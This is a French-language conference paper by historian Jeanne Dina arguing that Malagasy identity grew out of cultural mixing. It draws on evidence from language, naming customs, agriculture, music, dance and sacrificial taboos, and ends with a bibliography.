Métissage culturel, identité culturelle à Madagascar

Tiré de la Collection ISTA n°11/2000, cet article est une intervention de Madame DINA Jeanne (Enseignant-Chercheur en Histoire, alors Directeur de Cabinet auprès du Ministère de l’enseignement Supérieur) lors d’un colloque organisé par l’Institut Catholique de Madagascar sur « L’identité malgache dans la civilisation mondiale du 21ème siècle » du 10 au 12 Avril 2000.

Nous avons accepté très volontiers l’invitation à participer à la table ronde, puisque nous sommes convaincues que l’Humanité évolue inexorablement vers le métissage culturel. Les racistes mènent un combat perdu d’avance étant donné le développement de la communication à tout point de vue. On ne peut pas embrigader les jeunes sous prétexte de conservation de la culture, pire de la race.

Nous ne faisons que répéter ce qui est dit un peu partout actuellement si nous disons que le monde est devenu un village. Et heureusement ! Puisque de la définition première que le Petit Larousse donne du métissage, on ne relève que des idées positives : « Union féconde entre hommes et femmes de groupes humains différents présentant un certain degré de différenciation génétique ».

De cette définition élémentaire nous pouvons souligner les mots union, féconde et différenciation ; de la différence, on arrive à une union productive. On peut dire que le peuplement d’une île est par définition le résultat d’arrivées successives d’immigrants. Ce qui donne d’ailleurs une certaine caractéristique au tempérament des insulaires : une velléité d’indépendance vis-à-vis des continents auxquels ils sont rattachés. Ils veulent toujours évoquer la différence, suite aux apports culturels qu’ils ont acquis étant donné leurs origines diverses.

Quand nous disons cela, nous ne parlons pas encore expressément du cas de Madagascar vis-à-vis de l’Afrique, mais nous pensons aussi à des pays comme l’Angleterre, dont la position politique se démarque souvent de l’Europe Continentale. Mais considérons de près le vécu du métissage culturel à Madagascar.

C’est l’observation de la culture malgache qui a aidé les historiens à tirer la conclusion sur la diversité des origines du peuplement de l’île.

Très tôt dans les relations de Madagascar avec l’Europe, le RP Luis Mariano, prêtre portugais jésuite venu à Madagascar en 1613 pour une mission d’évangélisation, constatait déjà cette diversité physique et culturelle de sa population. Et tous les voyageurs qui sont venus par la suite sont intrigués par les types physiques des Malgaches, illustrant ce que disait RP Luis Mariano.

A Madagascar, on peut rencontrer des individus qu’on confondrait simplement avec des Sud-Est Asiatiques, et sans métissage récent, tout comme d’autres qui rappellent l’Afrique de l’Est si proche.

I. La langue, premier instrument de communication

La langue qui constitue l’élément principal de l’identité malgache consacre ce métissage culturel. Entre autres chercheurs, référons-nous au travail d’autorité du Pr. Otto Christian DAHL, Malgache et Maanjan,…

La conclusion de cette étude donne un pourcentage de 75% des vocabulaires de notre langue comme d’origine indonésienne et 25% partagés entre l’arabe, le bantou et le sanscrit. (…)

Ce mélange de races et de cultures a continué dans le temps. La position géographique de l’île en a toujours fait un carrefour. En effet, elle est placée sur la route des Indes jusqu’à la percée du Canal de Suez en 1869. D’où déjà l’existence de mots d’origine arabe qui ont souvent trait à l’astrologie et bien entendu au commerce qui a continué jusqu’à l’avènement colonial. (…)

L’Europe à son tour va aussi mettre son cachet. On pourrait mesurer la durée et la nature des contacts des différentes nationalités européennes par l’importance des nombres des mots adoptés : tout d’abord, ces mots sont à caractère technologique. (…)

Aussi retrouvons-nous tous ces éléments par exemple dans les noms portés par les Malgaches eux-mêmes, qui sont riches en illustrations de ce métissage.

Les noms traditionnels malgaches sont donnés en rapport au signe astrologique de l’enfant. A titre d’exemple, s’il est né un Alahamady, il porte le nom de Dama et Haova si c’est une fille ou si c’est un Adimizana, il s’appelle MONJA et MIZA en féminin.

Et quand l’évangélisation est venue, on leur a ajouté des prénoms chrétiens. C’est ainsi qu’on a des noms tels que : MONJA JAONA ou MBOLA Maurice, RAMAKA Léon ou SANA Monique etc. (…)

Beaucoup ne pensent plus aux diverses origines des noms qu’ils portent. (…)

Et les jeunes filles portent de moins en moins ces noms astrologiques au profit des noms patronymiques auxquels on ajoute de plus en plus des noms dont on connaît les significations, étant donné qu’on ne connaît plus beaucoup les correspondances astrologiques : Les hommes qui portent les noms astrologiques précités les ont transmis à leurs enfants sans plus savoir à quel signe ils correspondent. (…)

Et puis, les modes varient suivant les époques. Ainsi actuellement, on donne plus volontiers des noms de fleurs aux jeunes filles : Felana, Voahirana, Vololona, Tatamo, Voahangy… ou des noms pour leurs significations plus poétiques : Ony, Holy, Aina, Dina… (fleuve, frisée, vie, vœu ou convention).

II. Point de vue ethnologique

Les quelques exemples que nous donnons ci-après, tiennent de la simple observation.

L’agriculture : présente, elle aussi, les différents aspects cités plus haut, c’est-à-dire, africains et asiatiques.

C’est ainsi qu’en élevage, on retrouve la prédominance du zébu qui est considéré comme animal noble et pour lequel on témoigne d’un respect particulier : Les populations du Sud, de l’Ouest et du Sud-Ouest de Madagascar : Tsimihety, Sakalava, Bara, Mahafaly et Antandroy, etc, dont le relief peu tourmenté de leur région s’y prête, rappellent leurs voisins du Kenya et du Zimbabwe dans leurs comportements vis-à-vis du zébu.

Les riziculteurs des Hautes Terres centrales, quant à eux, récupèrent la moindre surface cultivable dans leurs régions accidentées par un aménagement des flancs des collines en suivant ingénieusement des courbes à niveaux. Le paysage betsileo illustre une origine indubitablement asiatique (Inde, Sud-Est de l’Asie).

La musique

On aurait accusé les Antandroy et les Masikoro (Sud, Sud-Ouest) d’avoir copié leurs musiques traditionnelles des Zoulous Sud-Africains si on ne les connaissait pas avant l’avènement de la radio, tandis que les sons des valiha peuvent être accompagnés par des chanteurs entonnant des mélodies qui rappellent les îles insulindiennes.

Les danses

Quand nous disions ci-dessus que la musique traditionnelle Antandroy se rattacherait à celle de l’Afrique australe, les danseurs et surtout les danseuses ressemblent néanmoins aux Balinaises par le charme de leurs gestes et des jeux de mains.

Conclusion

L’identité malgache est formée de toutes ces origines que nous venons d’évoquer. La circulation à l’intérieur de l’île est telle qu’aucun groupe n’ignore totalement ce qui se fait chez les autres, mais il adopte plus volontiers ce qui est conforme à son climat et à son relief, en prenant l’héritage culturel qui s’adapte le mieux à son environnement pour former une union féconde et donner une identité propre aux Malgaches.

On aurait dit que les ancêtres des Malgaches avaient tout simplement choisi d’adopter telles ou telles mœurs, éleveurs ou pêcheurs ou riziculteurs suivant la géographie de l’endroit où ils se sont installés.

Tous les groupes malgaches se reconnaissent dans le valiha comme leur instrument traditionnel. Et aussi, malgré une adoption de l’élevage de chèvres dans leur pays sec, les Antandroy ne sacrifient jamais cette bête aux ancêtres, à l’instar des autres populations de Madagascar. En effet, partout à Madagascar, la chèvre est considérée comme impropre au sacrifice. A défaut de zébu, on immole plutôt un mouton, mais jamais la chèvre. Beaucoup de Malgaches d’ailleurs n’en consomment pas (Merina, Betsimisaraka, Bara, Masikoro, Tanosy…).

DINA Jeanne

Bibliographie

DAHL Otto Christian, Malgache et Maanjans, Egede-Institut, Oslo, 1951.

DESCHAMPS Hubert, Histoire de Madagascar, Berger-Levrault, Paris 1972.

GRANDIDIER Alfred et Guillaume, Collection des Ouvrages concernant Madagascar Tome II, Paris 1904.

VIG Lars, Moeurs et coutumes des Malgaches, Imprimerie Luthérienne, Tananarive 1970.

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